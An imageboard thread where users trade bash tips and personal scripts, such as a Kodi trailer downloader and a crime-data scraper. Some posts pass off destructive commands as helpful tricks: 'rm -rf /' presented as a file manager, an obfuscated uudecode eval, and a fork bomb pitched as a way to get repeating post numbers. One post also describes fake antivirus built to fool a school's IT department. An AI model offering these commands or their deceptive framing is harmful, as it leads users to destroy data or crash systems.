Sourcing bash files is how you "include" a file into the current shell instead of a subshell. Its handy to update the current shell by sourcing .bashrc if changes were made to it.

Also piping to grep is one of the best things ever. There may be search options for a command but if you dont know them at least you know grep.

>>51504554
Should say its ALSO handy to source .bashrc. It is more handy for including libraries in another bash script

Working on a fake antivirus for Linux to throw off my IT department at school. They think Windows is the only OS and won't let you use your computer if it doesn't have antivirus so fuck them. Also this makes Arch a fuck ton easier to install: https://github.com/helmuthdu/aui

PS: hilarity ensued when I tried this, watched the locomotive roll by and was then greeted by a cow that said "this system goes down more often than a $2 whore"

>>51504564
just install clamav and rkhunter

>>51504554
It's better to use exec bash than source .bashrc

rm -rf /

opens a better looking file manager.

I made a script for my OSMC/Kodi box that searches youtube for trailers of all the movies in my database, and downloads them into a folder for use with the "Cinema Experience"/"Cinema Vision" plug in.

Seeing trailers for other films on the HDD before watching a film is a sweet way to remember hidden gems you have.

Definitely the most "useful" bash script I've written.

This is my favorite thing to slap noobtards with:

eval $(echo "I<RA('1E<W3t`p&r()(g8f6/&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

I wonder where the fuck you get a coffee maker with Linux installed on it. I'd so want to do this shit.

>>51504247
What the hell is wtrong with making dagrams in dot? It's an efficient tool for this.

That is fucking brilliant, anon

Well, if you use Kodi, feel free to grab it. It works pretty well, even if my code is amateur hour:- https://github.com/CategoryQ/QYTTS

Stands for "list out loud"

Gets dub dubs. Appears you don't need it.

>>51510431
do you even english?

>>51510457

Yes

>>51508220
what does this do? i ran it in a vm, just seemed to freeze, rebooted it and everything looks ok

>>51510626
then what the fuck are you trying to say?

>>51511921

That code gets you 2 pairs of identical digits at the end of a 4chan post number. A single pair is often called "dubs". 2 non matching pairs is "dub dubs". 2 matching pairs are often called "quads" or "4xget" or "Alfred pips"

>>51510088 got them anyway, so doesn't need to use that command.

Does that help, newfriend?

:(){ :|:& };:

Muh sides

>>51512492
Oh so thats why I got the dub dubs!
I had ran the code before I posted, it just set everything up for me in the background

I ran it without the eval to see what it would be executing - Well played.

I wrote a shell script to use curl and some variable magic to get crime data from crimemappings.com, and take every CaseNumber, and run it through the ReportSearch script at the fort worth police department's website.

Why?
Because my mom thinks i'm 'losing time' and passing out in random peoples' driveways.

So I was trying to find the police report of the incident, so that I could prove it wasn't me.

It's odd the ways you end up using your computer skills sometimes. (not that my skills are any good)

Hmm interesting. I'm doing something very similar with crime and crash reports in some counties but unfortunately I have to scrape PDFs for the data which takes long.

ps aux | grep root

what will we do when piping across applications with bash and parsing outputs becomes the bottleneck in programs?

>>51516819
Isn't bash's job just to ask the OS for some pipes and hook them up so the programs can go wild?

It's a fork bomb. It basically opens so many processes, your system slows down too the point that it freezes.

>>51515316
Want to post your code bro?
